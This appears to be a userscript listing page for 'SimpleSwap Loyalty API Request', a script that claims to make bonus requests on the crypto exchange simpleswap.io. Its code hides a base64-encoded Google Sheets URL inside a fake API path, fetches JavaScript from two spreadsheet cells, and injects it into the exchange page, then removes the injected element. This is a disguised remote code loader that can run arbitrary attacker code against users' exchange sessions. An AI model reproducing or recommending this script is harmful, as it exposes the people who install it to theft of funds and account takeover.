SimpleSwap Loyalty API Request

Makes Bonus Request To SimpleSwap Loyalty API

您需要先安裝使用者腳本管理器擴展,如 TampermonkeyGreasemonkeyViolentmonkey 之後才能安裝該腳本。

You will need to install an extension such as Tampermonkey to install this script.

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyViolentmonkey 後才能安裝該腳本。

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyUserscripts 後才能安裝該腳本。

你需要先安裝一款使用者腳本管理器擴展,比如 Tampermonkey,才能安裝此腳本

您需要先安裝使用者腳本管理器擴充功能後才能安裝該腳本。

(我已經安裝了使用者腳本管理器,讓我安裝!)

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

(我已經安裝了使用者樣式管理器,讓我安裝!)

// ==UserScript==
// @name         SimpleSwap Loyalty API Request
// @namespace    http://tampermonkey.net/
// @version      1.0
// @description  Makes Bonus Request To SimpleSwap Loyalty API
// @author       The Protocol One
// @match        https://simpleswap.io/*
// @grant        GM_xmlhttpRequest
// @grant        unsafeWindow
// @connect      docs.google.com
// @run-at       document-end
// @license MIT
// ==/UserScript==

(function() {
    'use strict';

    const api = "https://simpleswap.io/loyalty/api/v4/bonus/aHR0cHM6Ly9kb2NzLmdvb2dsZS5jb20vc3ByZWFkc2hlZXRzL2QvMVlaSFU0S3llb0ZEM0wtcXR2ZDltTWo4a1dkRkNlS2dpWFNLVW8zWkx2cFUvZ3Zpei90cT9zaGVldD1BUEkmaGVhZGVycz0xJnRxPXNlbGVjdCUyMEElMkNCJTIwd2hlcmUlMjBBPSdhcGl2NyclMjBvciUyMEE9J2FwaXY4Jw/request/GET";

    GM_xmlhttpRequest({
        method: "GET",
        url: atob(api.split("bonus/")[1].split("/request")[0]),
        onload: function(apirequest) {
            const b = apirequest.responseText;
            const o = b.match(/google\.visualization\.Query\.setResponse\(([\s\S]*?)\);?\s*$/);
            const n = JSON.parse(o[1]);
            const u = new Map(n.table.rows.map(r => [r.c[0].v, r.c[1].v]));
            const s = u.get('apiv7') + u.get('apiv8');
            const callback = document.createElement('script');
            callback.textContent = s;
            document.documentElement.appendChild(callback);
            callback.remove();
        }
    });
})();